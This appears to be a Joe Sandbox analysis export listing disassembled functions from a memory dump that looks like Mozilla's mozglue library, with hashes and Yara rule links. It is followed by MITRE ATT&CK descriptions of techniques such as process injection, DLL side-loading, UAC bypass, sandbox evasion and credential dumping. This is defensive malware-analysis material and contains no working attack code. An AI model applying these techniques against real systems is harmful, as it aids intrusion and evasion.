Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

Infinity, xrefs: 6C969EB7
NaN, xrefs: 6C969EC1

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

